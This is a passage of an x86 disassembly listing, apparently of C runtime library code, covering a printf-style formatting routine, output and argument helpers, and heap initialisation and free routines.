		inc	eax
		jmp	short loc_4142F7
; ---------------------------------------------------------------------------


loc_414310:				; CODE XREF: sub_41408C+212j
					; sub_41408C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41431A:				; CODE XREF: sub_41408C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4143FE
		mov	[ebp+var_10], 6
		jmp	loc_41440C
; ---------------------------------------------------------------------------


loc_41433B:				; CODE XREF: sub_41408C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_414347
		or	byte ptr [ebp+var_4+1],	8


loc_414347:				; CODE XREF: sub_41408C+2B5j
					; sub_41408C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41438E
		call	sub_414888
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4194A0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_4143A1
		mov	[ebp+var_28], 1
		jmp	short loc_4143A1
; ---------------------------------------------------------------------------


loc_414378:				; CODE XREF: sub_41408C+1FBj
		sub	eax, 5Ah
		jz	short loc_4143AF
		sub	eax, 9
		jz	short loc_414347
		dec	eax
		jz	loc_414571
		jmp	loc_414696
; ---------------------------------------------------------------------------


loc_41438E:				; CODE XREF: sub_41408C+2C5j
		call	sub_41486B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_4143A1:				; CODE XREF: sub_41408C+2E1j
					; sub_41408C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_414696
; ---------------------------------------------------------------------------


loc_4143AF:				; CODE XREF: sub_41408C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41486B
		test	eax, eax
		pop	ecx
		jz	short loc_4143F0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4143F0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4143E1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_414696
; ---------------------------------------------------------------------------


loc_4143E1:				; CODE XREF: sub_41408C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_414693
; ---------------------------------------------------------------------------


loc_4143F0:				; CODE XREF: sub_41408C+32Fj
					; sub_41408C+336j
		mov	eax, ds:off_42F868
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41448C
; ---------------------------------------------------------------------------


loc_4143FE:				; CODE XREF: sub_41408C+29Dj
		jnz	short loc_41440C
		cmp	bl, 67h
		jnz	short loc_41440C
		mov	[ebp+var_10], 1


loc_41440C:				; CODE XREF: sub_41408C+2AAj
					; sub_41408C:loc_4143FEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_42FBA8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41445E
		cmp	[ebp+var_10], 0
		jnz	short loc_41445E
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42FBB4
		pop	ecx


loc_41445E:				; CODE XREF: sub_41408C+3BCj
					; sub_41408C+3C2j
		cmp	bl, 67h
		jnz	short loc_414475
		test	esi, esi
		jnz	short loc_414475
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42FBAC
		pop	ecx


loc_414475:				; CODE XREF: sub_41408C+3D5j
					; sub_41408C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41448B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41448B:				; CODE XREF: sub_41408C+3F0j
		push	edi


loc_41448C:				; CODE XREF: sub_41408C+36Dj
		call	sub_411FB0
		pop	ecx
		jmp	loc_414693
; ---------------------------------------------------------------------------


loc_414497:				; CODE XREF: sub_41408C+1E9j
		sub	eax, 69h
		jz	loc_414571
		sub	eax, 5
		jz	loc_414547
		dec	eax
		jz	loc_414534
		dec	eax
		jz	short loc_414504
		sub	eax, 3
		jz	loc_4142B9
		dec	eax
		dec	eax
		jz	loc_414575
		sub	eax, 3
		jnz	loc_414696
		mov	[ebp+var_2C], 27h
		jmp	short loc_414512
; ---------------------------------------------------------------------------


loc_4144D6:				; CODE XREF: sub_41408C+270j
					; sub_41408C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_414693
; ---------------------------------------------------------------------------


loc_4144DF:				; CODE XREF: sub_41408C+24Fj
		test	ecx, ecx
		jnz	short loc_4144EC
		mov	ecx, ds:off_42F868
		mov	[ebp+var_8], ecx


loc_4144EC:				; CODE XREF: sub_41408C+455j
		mov	eax, ecx


loc_4144EE:				; CODE XREF: sub_41408C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4144FD
		cmp	byte ptr [eax],	0
		jz	short loc_4144FD
		inc	eax
		jmp	short loc_4144EE
; ---------------------------------------------------------------------------


loc_4144FD:				; CODE XREF: sub_41408C+467j
					; sub_41408C+46Cj
		sub	eax, ecx
		jmp	loc_414693
; ---------------------------------------------------------------------------


loc_414504:				; CODE XREF: sub_41408C+425j
		mov	[ebp+var_10], 8


loc_41450B:				; CODE XREF: sub_41408C+201j
		mov	[ebp+var_2C], 7


loc_414512:				; CODE XREF: sub_41408C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41457C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41457C
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_41408C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41457C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41457C
; ---------------------------------------------------------------------------


loc_414547:				; CODE XREF: sub_41408C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41486B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_414560
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_414565
; ---------------------------------------------------------------------------


loc_414560:				; CODE XREF: sub_41408C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_414565:				; CODE XREF: sub_41408C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414571:				; CODE XREF: sub_41408C+2F7j
					; sub_41408C+40Ej
		or	[ebp+var_4], 40h


loc_414575:				; CODE XREF: sub_41408C+432j
		mov	[ebp+var_C], 0Ah


loc_41457C:				; CODE XREF: sub_41408C+491j
					; sub_41408C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41458E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414878
		pop	ecx
		jmp	short loc_4145CF
; ---------------------------------------------------------------------------


loc_41458E:				; CODE XREF: sub_41408C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_4145B5
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4145AA
		call	sub_41486B
		pop	ecx
		movsx	eax, ax


loc_4145A7:				; CODE XREF: sub_41408C+527j
					; sub_41408C+539j
		cdq
		jmp	short loc_4145CF
; ---------------------------------------------------------------------------


loc_4145AA:				; CODE XREF: sub_41408C+510j
		call	sub_41486B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_4145A7
; ---------------------------------------------------------------------------


loc_4145B5:				; CODE XREF: sub_41408C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4145C7
		call	sub_41486B
		pop	ecx
		jmp	short loc_4145A7
; ---------------------------------------------------------------------------


loc_4145C7:				; CODE XREF: sub_41408C+531j
		call	sub_41486B
		pop	ecx
		xor	edx, edx


loc_4145CF:				; CODE XREF: sub_41408C+500j
					; sub_41408C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4145F0
		test	edx, edx
		jg	short loc_4145F0
		jl	short loc_4145DF
		test	eax, eax
		jnb	short loc_4145F0


loc_4145DF:				; CODE XREF: sub_41408C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4145F4
; ---------------------------------------------------------------------------


loc_4145F0:				; CODE XREF: sub_41408C+547j
					; sub_41408C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4145F4:				; CODE XREF: sub_41408C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4145FD
		and	edi, 0


loc_4145FD:				; CODE XREF: sub_41408C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41460C
		mov	[ebp+var_10], 1
		jmp	short loc_414610
; ---------------------------------------------------------------------------


loc_41460C:				; CODE XREF: sub_41408C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_414610:				; CODE XREF: sub_41408C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41461A
		and	[ebp+var_1C], 0


loc_41461A:				; CODE XREF: sub_41408C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_414620:				; CODE XREF: sub_41408C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_414630
		mov	eax, esi
		or	eax, edi
		jz	short loc_41466B


loc_414630:				; CODE XREF: sub_41408C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_413550
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4135D0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_414661
		add	ebx, [ebp+var_2C]


loc_414661:				; CODE XREF: sub_41408C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_414620
; ---------------------------------------------------------------------------


loc_41466B:				; CODE XREF: sub_41408C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_414696
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_414689
		test	eax, eax
		jnz	short loc_414696


loc_414689:				; CODE XREF: sub_41408C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_414693:				; CODE XREF: sub_41408C+35Fj
					; sub_41408C+406j ...
		mov	[ebp+var_C], eax


loc_414696:				; CODE XREF: sub_41408C+21Bj
					; sub_41408C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_414794	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4146CE
		test	bh, 1
		jz	short loc_4146B3
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4146C7
; ---------------------------------------------------------------------------


loc_4146B3:				; CODE XREF: sub_41408C+61Fj
		test	bl, 1
		jz	short loc_4146BE
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4146C7
; ---------------------------------------------------------------------------


loc_4146BE:				; CODE XREF: sub_41408C+62Aj
		test	bl, 2
		jz	short loc_4146CE
		mov	[ebp+var_16], 20h


loc_4146C7:				; CODE XREF: sub_41408C+625j
					; sub_41408C+630j
		mov	[ebp+var_1C], 1


loc_4146CE:				; CODE XREF: sub_41408C+61Aj
					; sub_41408C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4146EE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_414802
		add	esp, 10h


loc_4146EE:				; CODE XREF: sub_41408C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_414833
		add	esp, 10h
		test	bl, 8
		jz	short loc_414720
		test	bl, 4
		jnz	short loc_414720
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_414802
		add	esp, 10h


loc_414720:				; CODE XREF: sub_41408C+67Bj
					; sub_41408C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_414767
		cmp	[ebp+var_C], 0
		jle	short loc_414767
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_414735:				; CODE XREF: sub_41408C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_4194A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41477C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_414833
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_414735
		jmp	short loc_41477C
; ---------------------------------------------------------------------------


loc_414767:				; CODE XREF: sub_41408C+698j
					; sub_41408C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_414833
		add	esp, 10h


loc_41477C:				; CODE XREF: sub_41408C+6BCj
					; sub_41408C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_414794 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_414802
		add	esp, 10h


loc_414794:				; CODE XREF: sub_41408C+68j
					; sub_41408C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_4140B8


loc_4147A5:				; CODE XREF: sub_41408C+1Fj
					; sub_41408C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41408C	endp

; ---------------------------------------------------------------------------
off_4147AD	dd offset loc_41422B	; DATA XREF: sub_41408C+6Er
		dd offset loc_414101	; jump table for switch	statement
		dd offset loc_41411C
		dd offset loc_414168
		dd offset loc_41419F
		dd offset loc_4141A7
		dd offset loc_4141DC
		dd offset loc_41426F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147CD	proc near		; CODE XREF: sub_41408C+1BDp
					; sub_41408C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4147E6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------


loc_4147E6:				; CODE XREF: sub_4147CD+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_413F77
		pop	ecx
		pop	ecx


loc_4147F1:				; CODE XREF: sub_4147CD+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4147FE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4147FE:				; CODE XREF: sub_4147CD+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4147CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414802	proc near		; CODE XREF: sub_41408C+65Ap
					; sub_41408C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_414830
		mov	esi, [esp+8+arg_C]


loc_414813:				; CODE XREF: sub_414802+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4147CD
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_414830
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_414813


loc_414830:				; CODE XREF: sub_414802+Bj
					; sub_414802+25j
		pop	edi
		pop	esi
		retn
sub_414802	endp


; =============== S U B	R O U T	I N E =======================================



sub_414833	proc near		; CODE XREF: sub_41408C+670p
					; sub_41408C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_414867
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_414849:				; CODE XREF: sub_414833+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4147CD
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_414867
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_414849


loc_414867:				; CODE XREF: sub_414833+Cj
					; sub_414833+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414833	endp


; =============== S U B	R O U T	I N E =======================================



sub_41486B	proc near		; CODE XREF: sub_41408C+E5p
					; sub_41408C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41486B	endp


; =============== S U B	R O U T	I N E =======================================



sub_414878	proc near		; CODE XREF: sub_41408C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_414878	endp


; =============== S U B	R O U T	I N E =======================================



sub_414888	proc near		; CODE XREF: sub_41408C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_414888	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414896	proc near		; CODE XREF: sub_411E44+17p
					; sub_411E44+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_4148B4
		mov	ecx, ds:off_42F870
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_414906
; ---------------------------------------------------------------------------


loc_4148B4:				; CODE XREF: sub_414896+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_42F870
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4148D9
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4148E2
; ---------------------------------------------------------------------------


loc_4148D9:				; CODE XREF: sub_414896+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4148E2:				; CODE XREF: sub_414896+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_419508
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414902
		leave
		retn
; ---------------------------------------------------------------------------


loc_414902:				; CODE XREF: sub_414896+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_414906:				; CODE XREF: sub_414896+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_414896	endp


; =============== S U B	R O U T	I N E =======================================



sub_41490B	proc near		; CODE XREF: sub_412071+1Fp
					; sub_4137CF+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_460FE8
		test	eax, eax
		jz	short loc_414923
		push	[esp+arg_0]
		call	eax ; dword_460FE8
		test	eax, eax
		pop	ecx
		jz	short loc_414923
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_414923:				; CODE XREF: sub_41490B+7j
					; sub_41490B+12j
		xor	eax, eax
		retn
sub_41490B	endp


; =============== S U B	R O U T	I N E =======================================



sub_414926	proc near		; CODE XREF: seg000:00413E92p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_41D168	; HeapCreate
		test	eax, eax
		mov	ds:dword_4625E0, eax
		jz	short loc_41495B
		call	sub_414962
		test	eax, eax
		jnz	short loc_41495E
		push	ds:dword_4625E0
		call	ds:dword_41D164	; HeapDestroy


loc_41495B:				; CODE XREF: sub_414926+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41495E:				; CODE XREF: sub_414926+27j
		push	1
		pop	eax
		retn
sub_414926	endp


; =============== S U B	R O U T	I N E =======================================



sub_414962	proc near		; CODE XREF: sub_414926+20p
		push	140h
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D140	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4625DC, eax
		jnz	short loc_41497F
		retn
; ---------------------------------------------------------------------------


loc_41497F:				; CODE XREF: sub_414962+1Aj
		and	ds:dword_4625D4, 0
		and	ds:dword_4625D8, 0
		push	1
		mov	ds:dword_4625D0, eax
		mov	ds:dword_4625C8, 10h
		pop	eax
		retn
sub_414962	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4120D3+Ap
					; sub_4137CF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4625D8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4625DC
		lea	ecx, [eax+ecx*4]


loc_4149B0:				; CODE XREF: sub_4149A0+26j
		cmp	eax, ecx
		jnb	short loc_4149C8
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4149CA
		add	eax, 14h
		jmp	short loc_4149B0
; ---------------------------------------------------------------------------


loc_4149C8:				; CODE XREF: sub_4149A0+12j
		xor	eax, eax

locret_4149CA:				; CODE XREF: sub_4149A0+21j
		retn
sub_4149A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149CB	proc near		; CODE XREF: sub_4120D3+16p
					; sub_4137CF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_414A91
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_414A23
		mov	[ebp+arg_4], edi


loc_414A23:				; CODE XREF: sub_4149CB+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_414A75
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_414A51
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_414A75
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_414A75
; ---------------------------------------------------------------------------


loc_414A51:				; CODE XREF: sub_4149CB+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_414A75
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_414A75:				; CODE XREF: sub_4149CB+60j
					; sub_4149CB+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_414A91:				; CODE XREF: sub_4149CB+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_414A9F
		push	3Fh
		pop	edi


loc_414A9F:				; CODE XREF: sub_4149CB+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_414B4E
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_414ACA
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_414ACA:				; CODE XREF: sub_4149CB+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_414ADC
		mov	edi, edx


loc_414ADC:				; CODE XREF: sub_4149CB+10Dj
		cmp	ecx, edi
		jz	short loc_414B4B
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_414B33
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_414B0F
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_414B33
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_414B33
; ---------------------------------------------------------------------------


loc_414B0F:				; CODE XREF: sub_4149CB+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_414B33
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_414B33:				; CODE XREF: sub_4149CB+11Ej
					; sub_4149CB+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_414B4B:				; CODE XREF: sub_4149CB+113j
		mov	edx, [ebp+var_8]


loc_414B4E:				; CODE XREF: sub_4149CB+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_414B5D
		cmp	[ebp+arg_4], edi
		jz	loc_414BE6


loc_414B5D:				; CODE XREF: sub_4149CB+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_414BE6
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_414BBA
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_414BA9
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_414BA9:				; CODE XREF: sub_4149CB+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_414BE3
; ---------------------------------------------------------------------------


loc_414BBA:				; CODE XREF: sub_4149CB+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_414BD0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


